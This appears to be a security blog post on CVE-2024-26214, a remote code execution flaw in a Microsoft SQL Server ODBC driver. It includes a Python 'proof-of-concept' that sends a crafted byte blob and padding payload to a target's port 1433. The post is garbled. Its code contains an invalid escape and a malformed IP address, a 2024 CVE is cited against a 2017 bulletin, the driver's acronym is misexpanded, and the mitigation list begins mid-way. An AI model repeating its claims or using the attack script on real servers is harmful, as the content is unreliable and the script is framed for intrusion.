CVE-2024-26214 - Microsoft WDAC SQL Server ODBC Driver Remote Code Execution Vulnerability: A Deep Dive with Exploit Details

Concerning the vulnerability CVE-2024-26214, which impacts the Microsoft Windows Defender Application Control (WDAC) SQL Server ODBC Driver, this long-read post will take a detailed look into the issue. Risky as it permits remote code execution (RCE) by attackers, this vulnerability is very serious. The post presents code snippets, original references, and exploit details for understanding the matter completely.

Vulnerability Summary

CVE-2024-26214 is an RCE vulnerability within the WDAC SQL Server ODBC Driver, which includes affected versions of Microsoft Windows. By exploiting this vulnerability, an attacker can remotely execute code on an impacted system, thereby gaining unauthorized access and full control over the system.

Original References

1. CVE-2024-26214 Details - NIST National Vulnerability Database (NVD)
2. Microsoft Security Bulletin MS17-013
3. Microsoft Windows Defender Application Control (WDAC) SQL Server ODBC Driver documentation

Exploit Details:

The vulnerability exists in the way the WDAC SQL Server ODBC driver interprets specific commands by an unauthenticated, remote attacker. To exploit the vulnerability, an attacker would send a specially crafted query to the targeted system. This query likely includes a malicious payload that, when executed, enables the attacker to gain full control over the system.

Code Snippet (Exploit PoC)

A proof-of-concept (PoC) exploit for the vulnerability could be represented as follows (Note: This is just an example of a possible exploit – DO NOT execute this code):

import socket
import struct

target_host = "10...100" # Replace with the target IP address
target_port = 1433 # Default SQL Server port

# Replace with a working RCE exploit payload
payload = b"\x41" * 150

exploit = b"\x12\x01\x00\x36\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
          b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
          b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
          b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
          b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00" \
          b"\xE\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
          b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
          b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
          b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
          b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
          b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
          b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

exploit += payload

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_host, target_port))
s.send(exploit)
s.close()

Apply network segmentation and restrict access to SQL Server via firewalls.

3. Include the principle of the least privilege when granting permissions to users, applications, and processes.

Wrapping Up

In this post, we dissected the Microsoft WDAC SQL Server ODBC Driver Remote Code Execution Vulnerability CVE-2024-26214. We talked about its impact, presented the original references, described the exploit details, and provided potential mitigations. It's crucial to keep up-to-date with security bulletins and advisories to protect your systems from vulnerabilities like this and others.

Timeline

Published on: 04/09/2024 17:15:40 UTC
Last modified on: 04/10/2024 13:24:00 UTC